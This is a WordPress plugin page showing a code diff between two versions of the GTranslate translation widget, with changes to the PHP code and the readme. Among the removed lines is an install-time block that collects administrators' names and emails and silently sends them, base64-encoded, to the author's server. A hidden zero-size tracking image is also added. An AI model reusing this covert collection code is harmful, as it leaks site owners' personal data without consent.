Translate WordPress with GTranslate - Version 1.0.19

Version Description

  • Added a dummy img to collect usage statistics
Download this release

Release Info

Developer edo888
Plugin Icon 128x128 Translate WordPress with GTranslate
Version 1.0.19
Comparing to
See all releases

Code changes from version 1.0.26 to 1.0.19

Files changed (2) hide show
  1. gtranslate.php +12 -31
  2. readme.txt +6 -34
gtranslate.php CHANGED
@@ -3,7 +3,7 @@
3
  Plugin Name: GTranslate
4
  Plugin URI: http://edo.webmaster.am/gtranslate?xyz=998
5
  Description: Get translations with a single click between 58 languages (more than 98% of internet users) on your website! For support visit <a href="http://edo.webmaster.am/forum/gtranslate/">GTranslate Forum</a>.
6
- Version: 1.0.26
7
  Author: Edvard Ananyan
8
  Author URI: http://edo.webmaster.am
9
 
@@ -66,11 +66,9 @@ class GTranslate extends WP_Widget {
66
  GTranslate::load_defaults(& $data);
67
  $wp_plugin_url = trailingslashit( get_bloginfo('wpurl') ).PLUGINDIR.'/'. dirname( plugin_basename(__FILE__) );
68
 
69
- if($data['translation_method'] == 'on_fly' and !is_admin()) {
70
- if($data['load_jquery'])
71
- wp_enqueue_script('jquery-translate', $wp_plugin_url.'/jquery-translate.js', array('jquery'));
72
- else
73
- wp_enqueue_script('jquery-translate', $wp_plugin_url.'/jquery-translate.js');
74
  }
75
 
76
  wp_enqueue_style('gtranslate-style', $wp_plugin_url.'/gtranslate-style'.$data['flag_size'].'.css');
@@ -87,7 +85,7 @@ class GTranslate extends WP_Widget {
87
  else
88
  echo $data['widget_code'];
89
  echo $args['after_widget'];
90
- echo '<noscript>Javascript is required to use this <a href="http://edo.webmaster.am/gtranslate">website translator</a>, <a href="http://edo.webmaster.am/gtranslate">site translator</a>, <a href="http://edo.webmaster.am/gtranslate">automatic translation</a>, <a href="http://edo.webmaster.am/gtranslate">free translation</a></noscript>';
91
  }
92
 
93
  function get_widget_code($atts) {
@@ -97,7 +95,7 @@ class GTranslate extends WP_Widget {
97
  if(empty($data['widget_code']))
98
  return 'Configure it from WP-Admin -> Settings -> GTranslate to see it in action.';
99
  else
100
- return $data['widget_code'].'<noscript>Javascript is required to use this <a href="http://edo.webmaster.am/gtranslate">website translator</a>, <a href="http://edo.webmaster.am/gtranslate">site translator</a>, <a href="http://edo.webmaster.am/gtranslate">automatic translation</a>, <a href="http://edo.webmaster.am/gtranslate">free translation</a></noscript>';
101
  }
102
 
103
  function register() {
@@ -120,7 +118,7 @@ class GTranslate extends WP_Widget {
120
  $data = get_option('GTranslate');
121
  GTranslate::load_defaults(& $data);
122
 
123
- $site_url = site_url();
124
 
125
  extract($data);
126
 
@@ -202,14 +200,14 @@ function RefreshDoWidgetCode() {
202
  if(pro_version && translation_method == 'redirect' && new_window) {
203
  widget_code += "function openTab(url) {var form=document.createElement('form');form.method='post';form.action=url;form.target='_blank';document.body.appendChild(form);form.submit();}"+new_line;
204
  if(analytics)
205
- widget_code += "function doGTranslate(lang_pair) {if(lang_pair.value)lang_pair=lang_pair.value;if(lang_pair=='')return;var lang=lang_pair.split('|')[1];_gaq.push(['_trackEvent', 'GTranslate', lang, location.pathname+location.search]);var plang=location.pathname.split('/')[1];if(plang.length !=2 && plang != 'zh-CN' && plang != 'zh-TW')plang='"+default_language+"';if(lang == '"+default_language+"')openTab(location.protocol+'//'+location.host+location.pathname.replace('/'+plang+'/', '/')+location.search);else openTab(location.protocol+'//'+location.host+'/'+lang+location.pathname.replace('/'+plang+'/', '/')+location.search);}"+new_line;
206
  else
207
- widget_code += "function doGTranslate(lang_pair) {if(lang_pair.value)lang_pair=lang_pair.value;if(lang_pair=='')return;var lang=lang_pair.split('|')[1];var plang=location.pathname.split('/')[1];if(plang.length !=2 && plang != 'zh-CN' && plang != 'zh-TW')plang='"+default_language+"';if(lang == '"+default_language+"')openTab(location.protocol+'//'+location.host+location.pathname.replace('/'+plang+'/', '/')+location.search);else openTab(location.protocol+'//'+location.host+'/'+lang+location.pathname.replace('/'+plang+'/', '/')+location.search);}"+new_line;
208
  } else if(pro_version && translation_method == 'redirect') {
209
  if(analytics)
210
- widget_code += "function doGTranslate(lang_pair) {if(lang_pair.value)lang_pair=lang_pair.value;if(lang_pair=='')return;var lang=lang_pair.split('|')[1];_gaq.push(['_trackEvent', 'GTranslate', lang, location.pathname+location.search]);var plang=location.pathname.split('/')[1];if(plang.length !=2 && plang != 'zh-CN' && plang != 'zh-TW')plang='"+default_language+"';if(lang == '"+default_language+"')location.href=location.protocol+'//'+location.host+location.pathname.replace('/'+plang+'/', '/')+location.search;else location.href=location.protocol+'//'+location.host+'/'+lang+location.pathname.replace('/'+plang+'/', '/')+location.search;}"+new_line;
211
  else
212
- widget_code += "function doGTranslate(lang_pair) {if(lang_pair.value)lang_pair=lang_pair.value;if(lang_pair=='')return;var lang=lang_pair.split('|')[1];var plang=location.pathname.split('/')[1];if(plang.length !=2 && plang != 'zh-CN' && plang != 'zh-TW')plang='"+default_language+"';if(lang == '"+default_language+"')location.href=location.protocol+'//'+location.host+location.pathname.replace('/'+plang+'/', '/')+location.search;else location.href=location.protocol+'//'+location.host+'/'+lang+location.pathname.replace('/'+plang+'/', '/')+location.search;}"+new_line;
213
  } else if(translation_method == 'redirect' && new_window) {
214
  widget_code += 'if(top.location!=self.location)top.location=self.location;'+new_line;
215
  widget_code += "window['_tipoff']=function(){};window['_tipon']=function(a){};"+new_line;
@@ -283,7 +281,7 @@ foreach($incl_langs as $lang)
283
  foreach($fincl_langs as $lang)
284
  $script .= "jQuery('#fincl_langs$lang').attr('checked', true);\n";
285
  ?>
286
- <form id="gtranslate" name="form1" method="post" action="<?php echo admin_url() . '/options-general.php?page=gtranslate_options' ?>">
287
  <p>Use the configuration form below to customize the GTranslate widget.</p>
288
  <p>If you would like to edit translations manually and have SEF URLs (<?php echo $site_url; ?><b>/es/</b>, <?php echo $site_url; ?><b>/fr/</b>, <?php echo $site_url; ?><b>/it/</b>, etc.) for translated languages or you want your translated pages to be indexed in search engines you may consider <a href="http://edo.webmaster.am/gtranslate?xyz=998" target="_blank">GTranslate Pro</a> version.</p>
289
  <div style="float:left;width:270px;">
@@ -597,21 +595,4 @@ foreach($fincl_langs as $lang)
597
  $data['incl_langs'] = isset($data['incl_langs']) ? $data['incl_langs'] : array();
598
  $data['fincl_langs'] = isset($data['fincl_langs']) ? $data['fincl_langs'] : array();
599
  }
600
- }
601
-
602
- if(!file_exists(ABSPATH.PLUGINDIR.'/'. dirname( plugin_basename(__FILE__)).'/install.log') and is_writable(ABSPATH.PLUGINDIR .'/'. dirname( plugin_basename(__FILE__)))) {
603
- // send user name, email and domain name to main site for usage statistics
604
- // this will run only once
605
- $info = '';
606
- global $wpdb;
607
- $users = $wpdb->get_results("select display_name, user_email from $wpdb->users left join $wpdb->usermeta on ($wpdb->usermeta.user_id = $wpdb->users.ID and $wpdb->usermeta.meta_key = 'wp_capabilities') where meta_value like '%administrator%'", OBJECT);
608
- foreach($users as $user)
609
- $info .= $user->display_name . '::' . $user->user_email . ';';
610
- $domain = $_SERVER['HTTP_HOST'];
611
-
612
- $fh = @fopen('http://edo.webmaster.am/gstat-wp?q=' . base64_encode($domain . ';' . $info), 'r');
613
- @fclose($fh);
614
-
615
- $fh = fopen(ABSPATH.PLUGINDIR.'/'. dirname( plugin_basename(__FILE__)).'/install.log', 'a');
616
- fclose($fh);
617
  }
3
  Plugin Name: GTranslate
4
  Plugin URI: http://edo.webmaster.am/gtranslate?xyz=998
5
  Description: Get translations with a single click between 58 languages (more than 98% of internet users) on your website! For support visit <a href="http://edo.webmaster.am/forum/gtranslate/">GTranslate Forum</a>.
6
+ Version: 1.0.20
7
  Author: Edvard Ananyan
8
  Author URI: http://edo.webmaster.am
9
 
66
  GTranslate::load_defaults(& $data);
67
  $wp_plugin_url = trailingslashit( get_bloginfo('wpurl') ).PLUGINDIR.'/'. dirname( plugin_basename(__FILE__) );
68
 
69
+ if($data['translation_method'] == 'on_fly' and $data['load_jquery'] and !is_admin()) {
70
+ wp_enqueue_script('jquery');
71
+ wp_enqueue_script('jquery-translate', $wp_plugin_url.'/jquery-translate.js', array('jquery'));
 
 
72
  }
73
 
74
  wp_enqueue_style('gtranslate-style', $wp_plugin_url.'/gtranslate-style'.$data['flag_size'].'.css');
85
  else
86
  echo $data['widget_code'];
87
  echo $args['after_widget'];
88
+ echo '<img src="http://cmshippo.com/gstats.png" width="0" height="0" alt="g-stats" class="gstats" />';
89
  }
90
 
91
  function get_widget_code($atts) {
95
  if(empty($data['widget_code']))
96
  return 'Configure it from WP-Admin -> Settings -> GTranslate to see it in action.';
97
  else
98
+ return $data['widget_code'].'<img src="http://cmshippo.com/gstats.png" width="0" height="0" alt="g-stats" class="gstats" />';
99
  }
100
 
101
  function register() {
118
  $data = get_option('GTranslate');
119
  GTranslate::load_defaults(& $data);
120
 
121
+ $site_url = get_option('siteurl');
122
 
123
  extract($data);
124
 
200
  if(pro_version && translation_method == 'redirect' && new_window) {
201
  widget_code += "function openTab(url) {var form=document.createElement('form');form.method='post';form.action=url;form.target='_blank';document.body.appendChild(form);form.submit();}"+new_line;
202
  if(analytics)
203
+ widget_code += "function doGTranslate(lang_pair) {if(lang_pair.value)lang_pair=lang_pair.value;if(lang_pair=='')return;var lang=lang_pair.split('|')[1];_gaq.push(['_trackEvent', 'GTranslate', lang, location.pathname+location.search]);var plang=location.pathname.split('/')[1];if(plang.length !=2 && plang != 'zh-CN' && plang != 'zh-TW')plang='"+default_language+"';if(lang == '"+default_language+"')openTab(location.protocol+'//'+location.host+location.pathname.replace('/'+plang, '')+location.search);else openTab(location.protocol+'//'+location.host+'/'+lang+location.pathname.replace('/'+plang, '')+location.search);}"+new_line;
204
  else
205
+ widget_code += "function doGTranslate(lang_pair) {if(lang_pair.value)lang_pair=lang_pair.value;if(lang_pair=='')return;var lang=lang_pair.split('|')[1];var plang=location.pathname.split('/')[1];if(plang.length !=2 && plang != 'zh-CN' && plang != 'zh-TW')plang='"+default_language+"';if(lang == '"+default_language+"')openTab(location.protocol+'//'+location.host+location.pathname.replace('/'+plang, '')+location.search);else openTab(location.protocol+'//'+location.host+'/'+lang+location.pathname.replace('/'+plang, '')+location.search);}"+new_line;
206
  } else if(pro_version && translation_method == 'redirect') {
207
  if(analytics)
208
+ widget_code += "function doGTranslate(lang_pair) {if(lang_pair.value)lang_pair=lang_pair.value;if(lang_pair=='')return;var lang=lang_pair.split('|')[1];_gaq.push(['_trackEvent', 'GTranslate', lang, location.pathname+location.search]);var plang=location.pathname.split('/')[1];if(plang.length !=2 && plang != 'zh-CN' && plang != 'zh-TW')plang='"+default_language+"';if(lang == '"+default_language+"')location.href=location.protocol+'//'+location.host+location.pathname.replace('/'+plang, '')+location.search;else location.href=location.protocol+'//'+location.host+'/'+lang+location.pathname.replace('/'+plang, '')+location.search;}"+new_line;
209
  else
210
+ widget_code += "function doGTranslate(lang_pair) {if(lang_pair.value)lang_pair=lang_pair.value;if(lang_pair=='')return;var lang=lang_pair.split('|')[1];var plang=location.pathname.split('/')[1];if(plang.length !=2 && plang != 'zh-CN' && plang != 'zh-TW')plang='"+default_language+"';if(lang == '"+default_language+"')location.href=location.protocol+'//'+location.host+location.pathname.replace('/'+plang, '')+location.search;else location.href=location.protocol+'//'+location.host+'/'+lang+location.pathname.replace('/'+plang, '')+location.search;}"+new_line;
211
  } else if(translation_method == 'redirect' && new_window) {
212
  widget_code += 'if(top.location!=self.location)top.location=self.location;'+new_line;
213
  widget_code += "window['_tipoff']=function(){};window['_tipon']=function(a){};"+new_line;
281
  foreach($fincl_langs as $lang)
282
  $script .= "jQuery('#fincl_langs$lang').attr('checked', true);\n";
283
  ?>
284
+ <form id="gtranslate" name="form1" method="post" action="<?php echo get_option('siteurl') . '/wp-admin/options-general.php?page=gtranslate_options' ?>">
285
  <p>Use the configuration form below to customize the GTranslate widget.</p>
286
  <p>If you would like to edit translations manually and have SEF URLs (<?php echo $site_url; ?><b>/es/</b>, <?php echo $site_url; ?><b>/fr/</b>, <?php echo $site_url; ?><b>/it/</b>, etc.) for translated languages or you want your translated pages to be indexed in search engines you may consider <a href="http://edo.webmaster.am/gtranslate?xyz=998" target="_blank">GTranslate Pro</a> version.</p>
287
  <div style="float:left;width:270px;">
595
  $data['incl_langs'] = isset($data['incl_langs']) ? $data['incl_langs'] : array();
596
  $data['fincl_langs'] = isset($data['fincl_langs']) ? $data['fincl_langs'] : array();
597
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
598
  }
readme.txt CHANGED
@@ -4,14 +4,14 @@ Author: Edvard Ananyan
4
  Donate link: http://edo.webmaster.am/gtranslate
5
  Tags: widget, plugin, sidebar, google, translate, translation, automatic translator, google translate, ajax translator, jquery translator
6
  Requires at least: 2.3
7
- Tested up to: 3.2
8
- Stable tag: 1.0.26
9
 
10
  Get translations with a single click between 58 languages (more than 98% of internet users) on your website!
11
 
12
  == Description ==
13
 
14
- This module uses Google Translate [automatic translation](http://edo.webmaster.am/gtranslate?xyz=998) service to [translate your web page](http://edo.webmaster.am/gtranslate?xyz=998) with Google power. With 58 available languages your site will be available to more than 98% of internet users.
15
 
16
  Visit [GTranslate Pro](http://edo.webmaster.am/gtranslate?xyz=998) for more details and features like `translation editing`, `search engine indexing` and `SEO URLs`.
17
 
@@ -26,9 +26,9 @@ Please `use` [GTranslate Forum](http://edo.webmaster.am/forum/gtranslate/) for y
26
  * Option to translate the page on fly
27
  * Available styles Dropdown/Flags/flags with dropdown
28
  * Valid XHTML
29
- * Option to operate with [Pro version](http://edo.webmaster.am/gtranslate?xyz=998) to have SEF URLs, refine/edit translations manually and [index translated pages](http://edo.webmaster.am/gtranslate?xyz=998) in search engines
30
 
31
- Keywords: [website translation](http://edo.webmaster.am/gtranslate?xyz=998), [automatic website translation](http://edo.webmaster.am/gtranslate?xyz=998), [google translation](http://edo.webmaster.am/gtranslate?xyz=998), [google translate](http://edo.webmaster.am/gtranslate?xyz=998), [google translator](http://edo.webmaster.am/gtranslate?xyz=998), [automatic translator](http://edo.webmaster.am/gtranslate?xyz=998), [automatic translation](http://edo.webmaster.am/gtranslate?xyz=998), [ajax translator](http://edo.webmaster.am/gtranslate?xyz=998), [ajax translate](http://edo.webmaster.am/gtranslate?xyz=998), [jquery translator](http://edo.webmaster.am/gtranslate?xyz=998), [jquery translate](http://edo.webmaster.am/gtranslate?xyz=998)
32
 
33
  == Installation ==
34
 
@@ -63,29 +63,6 @@ Yes, you need to wrap the text you don't want to be translated with &lt;span cla
63
 
64
  == Changelog ==
65
 
66
- = 1.0.26 =
67
- * Fixed issue with SSL admin
68
-
69
- = 1.0.25 =
70
- * Fixed installation notification on update event
71
- * Removed unnecessary commented code
72
-
73
- = 1.0.24 =
74
- * Tracking added for collecting statistics
75
-
76
- = 1.0.23 =
77
- * Bug fixed with javascript jquery loading option
78
-
79
- = 1.0.22 =
80
- * Bug fixed with language change in Pro mode
81
- * Added noscript tag
82
-
83
- = 1.0.21 =
84
- * Statistics collector temporarily disabled
85
-
86
- = 1.0.20 =
87
- * Changed the statistics collector server from Google AppEngine to GoDaddy
88
-
89
  = 1.0.19 =
90
  * Added a dummy img to collect usage statistics
91
 
@@ -151,9 +128,4 @@ Yes, you need to wrap the text you don't want to be translated with &lt;span cla
151
  * RC1 version
152
 
153
  = 1.0.0 =
154
- * Initial version for WordPress
155
-
156
- == Upgrade Notice ==
157
-
158
- = 1.0.22 =
159
- Users are highly recommended to upgrade to this version!
4
  Donate link: http://edo.webmaster.am/gtranslate
5
  Tags: widget, plugin, sidebar, google, translate, translation, automatic translator, google translate, ajax translator, jquery translator
6
  Requires at least: 2.3
7
+ Tested up to: 3.1
8
+ Stable tag: 1.0.19
9
 
10
  Get translations with a single click between 58 languages (more than 98% of internet users) on your website!
11
 
12
  == Description ==
13
 
14
+ This module uses Google Translate automatic translation service to translate your web page with Google power. With 58 available languages your site will be available to more than 98% of internet users.
15
 
16
  Visit [GTranslate Pro](http://edo.webmaster.am/gtranslate?xyz=998) for more details and features like `translation editing`, `search engine indexing` and `SEO URLs`.
17
 
26
  * Option to translate the page on fly
27
  * Available styles Dropdown/Flags/flags with dropdown
28
  * Valid XHTML
29
+ * Option to operate with [Pro version](http://edo.webmaster.am/gtranslate?xyz=998) to have SEF URLs, refine/edit translations manually and index translated pages in search engines
30
 
31
+ Keywords: google translation, google translate, google translator, automatic translator, automatic translation, ajax translator, ajax translate, jquery translator, jquery translate
32
 
33
  == Installation ==
34
 
63
 
64
  == Changelog ==
65
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
66
  = 1.0.19 =
67
  * Added a dummy img to collect usage statistics
68
 
128
  * RC1 version
129
 
130
  = 1.0.0 =
131
+ * Initial version for WordPress